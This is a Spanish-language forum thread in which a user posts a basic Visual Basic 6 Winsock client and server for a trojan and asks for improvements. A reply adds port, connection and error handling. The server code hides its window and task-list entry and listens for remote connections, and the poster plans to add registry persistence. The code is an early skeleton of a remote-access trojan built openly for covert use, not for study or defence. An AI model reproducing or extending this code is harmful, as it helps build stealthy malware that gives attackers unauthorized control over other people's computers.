Bueno...pues ando algo confuso con esto de los troyanos...siempre me dan fallo...voy a postear aqui lo que realmente ace falta para que funcione un troyano
--CLIENTE--
CitarPrivate Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
Ir añadiendo opciones
--SERVER--
CitarPrivate Sub Form_Load()
Me.Hide
App.TaskVisible = False
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim abrir As String
Winsock1.GetData datos
Acciones
Eso esta bien?Se le puede poner mejor?
Alguna ayuda plis...
Te falta establecer el puerto, podes hacer asi mas facil :
winsock.close 'para evitar errores
winsock1.connect ip, puerto
tambien te faltaria esto:
Private Sub winsock_Close() 'para que si se desconcta saberlo
lblEstado.Caption = "Desconectado"
ws.Close
End Sub
Private Sub winsock_Connect() 'para que si se conecta saberlo
lblEstado.Caption = "Conectado"
End Sub
Private Sub winsock_error(ByVal Number As Integer, Description As String, ByVal sCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) 'por si hay error que cierre
ws.Close
End Sub
y bueno hay creo que esta
chau salu2!!!
Es cierto...tambien para agregarlo al registro y otras cosas mas...pero solo quiero algo basico para despues ir metiendole cosas...